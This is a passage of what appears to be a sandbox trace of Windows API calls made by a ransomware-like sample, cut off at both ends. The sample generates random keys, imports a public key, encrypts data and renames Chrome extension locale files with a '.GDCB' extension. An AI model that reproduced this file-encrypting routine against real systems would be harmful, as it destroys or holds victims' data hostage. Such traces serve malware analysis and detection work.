pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.218] CryptEncrypt (in: hKey=0x67929e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.218] GetLastError () returned 0x0 [0262.218] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0262.218] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.220] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6792de0) returned 1 [0262.220] CryptGetKeyParam (in: hKey=0x6792de0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.220] CryptEncrypt (in: hKey=0x6792de0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.220] GetLastError () returned 0x0 [0262.220] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.220] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.222] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.224] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.227] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.236] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.255] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json.gdcb")) returned 1 [0262.261] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0262.264] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.266] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.267] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.267] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.267] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.270] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.272] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.272] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.272] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.273] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.275] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793020) returned 1 [0262.275] CryptGetKeyParam (in: hKey=0x6793020, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.275] CryptEncrypt (in: hKey=0x6793020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.275] GetLastError () returned 0x0 [0262.275] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.275] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0262.277] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793160) returned 1 [0262.277] CryptGetKeyParam (in: hKey=0x6793160, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.277] CryptEncrypt (in: hKey=0x6793160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.277] GetLastError () returned 0x0 [0262.277] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.277] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.278] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.281] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.284] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.292] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.299] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json.gdcb")) returned 1 [0262.305] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.307] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.310] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.310] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.310] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.310] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.312] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.314] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.314] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.315] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.315] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.317] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793760) returned 1 [0262.317] CryptGetKeyParam (in: hKey=0x6793760, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.317] CryptEncrypt (in: hKey=0x6793760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.317] GetLastError () returned 0x0 [0262.317] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.317] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.319] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67935e0) returned 1 [0262.319] CryptGetKeyParam (in: hKey=0x67935e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.319] CryptEncrypt (in: hKey=0x67935e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.319] GetLastError () returned 0x0 [0262.319] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.319] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.321] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.323] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.326] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.334] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.341] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.gdcb")) returned 1 [0262.347] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.350] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.352] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.352] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.352] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.352] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.354] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.356] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.356] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.356] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.357] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0262.359] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67937a0) returned 1 [0262.359] CryptGetKeyParam (in: hKey=0x67937a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.359] CryptEncrypt (in: hKey=0x67937a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.359] GetLastError () returned 0x0 [0262.359] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0262.359] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0262.361] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67931a0) returned 1 [0262.361] CryptGetKeyParam (in: hKey=0x67931a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.361] CryptEncrypt (in: hKey=0x67931a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.361] GetLastError () returned 0x0 [0262.361] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0262.361] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.362] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.365] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.367] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.376] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.383] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.gdcb")) returned 1 [0262.388] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.391] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.394] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.394] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.394] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.394] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.397] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.399] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.399] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.399] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.399] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0262.401] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6793360) returned 1 [0262.401] CryptGetKeyParam (in: hKey=0x6793360, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.401] CryptEncrypt (in: hKey=0x6793360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0262.402] GetLastError () returned 0x0 [0262.402] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0262.402] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.403] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67934a0) returned 1 [0262.403] CryptGetKeyParam (in: hKey=0x67934a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0262.403] CryptEncrypt (in: hKey=0x67934a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0262.404] GetLastError () returned 0x0 [0262.404] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.404] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0262.405] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0262.408] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0262.410] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb3, lpOverlapped=0x0) returned 1 [0262.419] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0262.446] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.gdcb")) returned 1 [0262.452] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.456] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.459] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.459] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0262.459] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.459] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0262.462] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0262.465] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0262.465] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0262.465] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0262.465] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0262.468] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, 